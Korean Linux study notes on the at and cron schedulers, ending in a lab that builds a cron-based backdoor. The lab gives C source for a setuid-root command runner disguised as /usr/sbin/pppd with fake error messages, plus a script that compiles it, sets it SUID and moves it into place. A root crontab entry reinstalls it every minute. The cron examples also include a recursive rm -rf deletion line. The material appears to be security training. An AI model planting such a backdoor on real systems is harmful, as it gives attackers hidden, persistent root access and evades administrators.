

명령어 at

- 지정한 시간에 원하는 명령이나 작업을 실행
- 한번만 실행되는 경우 주로 사용
- atd데몬의 의해 실행
- 지정한 작업은 큐에 저장되며 저장된 작업들은 /var/spool/at 디렉터리에 저장

```
[root@localhost ~]# at 08:40am
at> ls -al > /TEST/today
at> <EOT>
job 1 at Wed Oct 25 08:40:00 2023
[root@localhost ~]#
[root@localhost ~]# at -l
1          Wed Oct 25 08:40:00 2023 a root
```

```
#at 13:00pm
    ls -al > /TEST/today
Ctrl+d
#at -l
#at -c 1
#at -d 1
```

명령어 cron

- 주기적으로 프로세스를 실행 시 사용
- 시스템 운영 또는 사용자의 필요에 의한 작업으로 나뉨
 - 시스템 운영에 필요한 작업 : root권한으로 **/etc/crontab**에 등록
 - 일반 사용자 : **/var/spool/cron/사용자ID**에 등록



0 12 * * 1-5 /etc/work.sh

- 월요일~금요일까지 오후 12시 실행

10 4 1 1-12/2 * /etc/work.sh

- 1월부터 12월까지 2개월마다 1일날 오전 4시 10분에 실행

0 10 * * 1 cat /root/notice | mail -s “notice” gildong@test.com

0 4 * * 1,3,5 find / -name ‘*.bak’ -exec rm -rf {} \;

***/10 * * * * /etc/work.sh**

LAB 3. Cron 데몬을 이용한 Backdoor 생성

```
(root@kali)-[/home/gildong]
# cat backexec.c
#include <stdio.h>
main(int argc, char *argv[])
{
    char exec[100];
    setuid(0);
    setgid(0);
    sprintf(exec, "%s 2>/dev/null", argv[1]);
    system(exec);

    printf("./pppd: The remote system is required to authenticate itself\n");
    printf("./pppd: but I couldn't find any suitable secret (password) for it to use to do so.\n");
}
```

```
#cd /home/gildong
#cat backexec.c
```

```
(root@kali)-[/]
# ls -ld /etc/cro*
drwxr-xr-x 2 root root 4096 Dec  5  2022 /etc/cron.d
drwxr-xr-x 2 root root 4096 Dec  5  2022 /etc/cron.daily
drwxr-xr-x 2 root root 4096 Dec  5  2022 /etc/cron.hourly
drwxr-xr-x 2 root root 4096 Dec  5  2022 /etc/cron.monthly
-rw-r--r-- 1 root root 1042 Nov 13  2022 /etc/crontab
drwxr-xr-x 2 root root 4096 Dec  5  2022 /etc/cron.weekly
```

```
#ls -ld /etc/cro*
```

```

(root@kali)-[/etc/cron.d]
# cat set.sh
gcc -o backexec /home/gildong/backexec.c
chmod 4755 backexec
mv backexec /usr/sbin/pppd

(root@kali)-[/etc/cron.d]
# ls -l set.sh
-rw-r--r-- 1 root root 88 Oct 24 23:12 set.sh

(root@kali)-[/etc/cron.d]
# chmod 755 set.sh

(root@kali)-[/etc/cron.d]
# ls -l set.sh
-rwxr-xr-x 1 root root 88 Oct 24 23:12 set.sh

(root@kali)-[/etc/cron.d]
# █

```

#cd /etc/cron.d

#nano set.sh

#ls -l set.sh

#chmod 755 set.sh

#ls -l set.sh

#nano /etc/crontab

*** * * * * root /etc/cron.d/set.sh**

```
(root@kali)-[/etc/cron.d]
# tail -l /etc/crontab
# | | | | .—— day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
* * * * * root /etc/cron.d/set.sh
#
(root@kali)-[/etc/cron.d]
# service cron restart
```